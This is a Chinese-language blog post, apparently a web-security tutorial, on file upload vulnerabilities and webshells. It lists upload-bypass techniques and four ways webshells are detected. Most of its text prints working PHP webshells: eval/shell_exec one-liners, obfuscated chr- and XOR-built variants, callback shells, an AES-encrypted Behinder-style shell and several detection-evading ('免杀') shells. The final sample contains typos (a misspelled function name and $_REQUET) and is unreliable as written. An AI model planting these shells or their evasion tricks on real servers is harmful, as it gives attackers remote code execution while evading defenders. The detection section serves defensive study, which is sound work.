web安全入门 4 (文件上传漏洞与webshell)

(1)了解下开源编辑器上传都有哪些漏洞,(2)如何绕过系统检测上传一句话木马(3)WAF如何查杀Webshell,你必须要掌握的一些技能点:
1.客户端检测绕过(JS 检测)
2.服务器检测绕过(目录路径检测)
3.黑名单检测
4.危险解析绕过攻击

5..htaccess 文件
6.解析调用/漏洞绕过
7.白名单检测
8.解析调用/漏洞绕过
9.服务端检测绕过-文件内容检测
10.Apache 解析漏洞

11.IIS 解析漏洞

12.Nginx 解析漏洞
13.Webshell是怎样被检测出来的?
     1.分析统计内容:这里我们可以结合黑名单或者其他特征列表,例如代码片段的hash特征列表。之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell。
     2.语义分析:这里我们把代码转换成AST语法树,之后可以对一些函数进行调试追踪,那些混淆或者变形过的webshell基本都能被检测到。代码审计常常会使用这种方法。
     3.机器学习:这种方法需要大量的样本数据,通过一些学习模型,总结归类webshell的特征库,最终去检测webshell。
     4.动态监控:采用RASP方式,这里就是一但检测到有脚本运行起来了就去监控里边或者叫hook一些危险函数,一但存在调用过程将会立刻阻止。这种阻止效果是实时的,这种方法应该是效果最好的,但是     成 本也十分的高昂。
14. webshell演变史
      1. 初代webshell
     <?php echo shell_exec($_GET['cmd']);?>
     <?php @eval($_POST['xssle']);?>
     一代webshell
    <?php
    $a = 'ev'."al";
    @$a($_POST['xssle']);
    ?>
    <?php
   $a = 'ass'.$_GET[i];
   @$a($_POST['xssle']);
   ?>
   <?php       $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC); @$_();
?>
  <?php
  $a=md5('a').'<br>';
  $poc=substr($a,14,1).chr(115).chr(115).substr($a,22,1).chr(114).chr(116);
  $poc($_GET['a']);
  ?>
2. 二代webshell
回调型webshell,这种webshell看上去像是没有什么危害的但是如果用户输入assert的话,就构成了webshell。
<?php
usort($_POST[1], $_POST[xssle]);
?>

3. 冰蝎webshell
<?php
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
$arr=explode('|',$decrptContent);
$func=$arr[0];
$params=$arr[1];
$func($params);
}
?>

webshell-venom
<?php
class TIPD{
function AJZN(){
$upf='Q'^"\x30";
$imp='R'^"\x21";
$rec='u'^"\x6";
$yba='/'^"\x4a";
$ebi=':'^"\x48";
$pvu='D'^"\x30";
$VDMX=$upf.$imp.$rec.$yba.$ebi.$pvu;
return $VDMX;}function __destruct(){
$UNOF=$this->AJZN();
@$UNOF($this->FJ);}}
$tipd=new TIPD();
@$tipd->FJ=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>

4. 免杀webshell
(1)该免杀shell利用类中的静态函数,还用到了变量替换
<?php
class Test{
public static function a(){
$a = base64_decode/*/\*/($_POST/*\*/['a']);
return $a;
}
}
$func = 'a';
$classname = 'Test';
$a =$classname::$func();
eval/*\/*/($a);
?>

(2)免杀shell2
php在5.3版本的时候就已经开始支持对于类的命名空间了,对于函数的命名空间是在5.6版本引入的。
所以在5.6之后我们可以使用use function  a as b来导入函数a。在功能上就相当于给函数a起了一个别名。
注意:经过我的测试use function \assert as test;这种形式的别名在类中和函数中是不生效的。
<?php
use function \assert as test;
test($_POST[2333]);
?>

(3)免杀shell3
preg_replace的/e模式用来执行代码,想必大家已经很熟悉了。但是他的兄弟姐妹mb_ereg_replace、mb_eregi_replace大家可能不太熟悉,其实它两的用法和第一个基本一样,支持传入e模式的正则表达式,进而执行任意代码;php在7版本已经delete了preg_replace的/e模式。但是mb_ereg_replace在7.3以下版本依然可以使用。
 <?php
 mbereg_replace('.*','\0', $_REQUET[2333],'mer');
 ?>
https://www.freebuf.com/articles/web/253710.html

posted on 2020-12-25 16:28  沉吟至今  阅读(516)  评论(0编辑  收藏  举报

导航